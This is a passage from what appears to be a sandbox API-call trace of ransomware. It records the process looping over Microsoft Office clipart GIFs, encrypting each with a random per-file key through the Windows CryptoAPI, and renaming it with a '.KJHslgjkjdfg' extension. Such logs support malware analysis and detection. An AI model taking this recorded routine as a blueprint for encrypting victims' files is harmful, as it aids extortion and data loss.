lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.272] SetEndOfFile (hFile=0x118) returned 1 [0196.275] GetProcessHeap () returned 0x2a0000 [0196.275] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.275] GetProcessHeap () returned 0x2a0000 [0196.275] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.275] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif.kjhslgjkjdfg")) returned 1 [0196.277] CloseHandle (hObject=0x118) returned 1 [0196.277] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02116_.GIF", cAlternateFileName="")) returned 1 [0196.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0196.279] GetProcessHeap () returned 0x2a0000 [0196.279] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.279] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.279] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0196.280] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x1, lpOverlapped=0x0) returned 1 [0196.282] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.282] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.282] GetProcessHeap () returned 0x2a0000 [0196.282] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.282] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0196.282] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.282] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0196.282] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0196.282] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0196.282] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0196.283] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0196.283] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0196.283] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.283] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.283] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.283] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3ef, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x3ef, lpOverlapped=0x0) returned 1 [0196.283] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x3f0, dwBufLen=0x3f0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x3f0) returned 1 [0196.283] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.283] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3f0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x3f0, lpOverlapped=0x0) returned 1 [0196.283] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.283] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.283] SetEndOfFile (hFile=0x118) returned 1 [0196.286] GetProcessHeap () returned 0x2a0000 [0196.288] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.288] GetProcessHeap () returned 0x2a0000 [0196.288] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.288] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif.kjhslgjkjdfg")) returned 1 [0196.290] CloseHandle (hObject=0x118) returned 1 [0196.290] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x97f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02134_.GIF", cAlternateFileName="")) returned 1 [0196.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0196.292] GetProcessHeap () returned 0x2a0000 [0196.292] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.292] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.292] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0196.292] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x1, lpOverlapped=0x0) returned 1 [0196.294] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.295] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.295] GetProcessHeap () returned 0x2a0000 [0196.295] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.295] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0196.295] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.295] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0196.295] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0196.295] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0196.295] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0196.295] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0196.295] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0196.295] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.295] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.296] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.296] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x97f, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x97f, lpOverlapped=0x0) returned 1 [0196.296] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x980, dwBufLen=0x980 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x980) returned 1 [0196.296] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.296] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x980, lpOverlapped=0x0) returned 1 [0196.296] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.296] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xa54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.296] SetEndOfFile (hFile=0x118) returned 1 [0196.299] GetProcessHeap () returned 0x2a0000 [0196.299] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.299] GetProcessHeap () returned 0x2a0000 [0196.299] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.299] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif.kjhslgjkjdfg")) returned 1 [0196.301] CloseHandle (hObject=0x118) returned 1 [0196.301] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02187_.GIF", cAlternateFileName="")) returned 1 [0196.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0196.302] GetProcessHeap () returned 0x2a0000 [0196.302] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.302] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.302] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0196.302] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x7, lpOverlapped=0x0) returned 1 [0196.501] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.501] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.501] GetProcessHeap () returned 0x2a0000 [0196.501] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.501] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0196.501] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.501] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0196.501] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0196.501] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0196.501] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0196.501] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0196.502] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0196.502] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.502] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.502] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.502] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x579, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x579, lpOverlapped=0x0) returned 1 [0196.502] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x580, dwBufLen=0x580 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x580) returned 1 [0196.502] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.502] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x580, lpOverlapped=0x0) returned 1 [0196.502] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.502] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.502] SetEndOfFile (hFile=0x118) returned 1 [0196.532] GetProcessHeap () returned 0x2a0000 [0196.532] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.532] GetProcessHeap () returned 0x2a0000 [0196.532] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.533] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif.kjhslgjkjdfg")) returned 1 [0196.535] CloseHandle (hObject=0x118) returned 1 [0196.535] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4abc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02198_.GIF", cAlternateFileName="")) returned 1 [0196.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0196.536] GetProcessHeap () returned 0x2a0000 [0196.536] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.536] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.537] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0196.537] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0196.539] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.539] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.539] GetProcessHeap () returned 0x2a0000 [0196.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.539] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0196.539] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.539] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0196.540] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0196.540] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0196.540] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0196.540] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0196.540] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0196.540] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.540] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.540] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.540] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4abc, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x4abc, lpOverlapped=0x0) returned 1 [0196.543] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4ac0, dwBufLen=0x4ac0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4ac0) returned 1 [0196.543] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.543] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4ac0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x4ac0, lpOverlapped=0x0) returned 1 [0196.544] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.544] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x4b94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.544] SetEndOfFile (hFile=0x118) returned 1 [0196.547] GetProcessHeap () returned 0x2a0000 [0196.547] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.547] GetProcessHeap () returned 0x2a0000 [0196.547] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.547] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif.kjhslgjkjdfg")) returned 1 [0196.550] CloseHandle (hObject=0x118) returned 1 [0196.550] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, 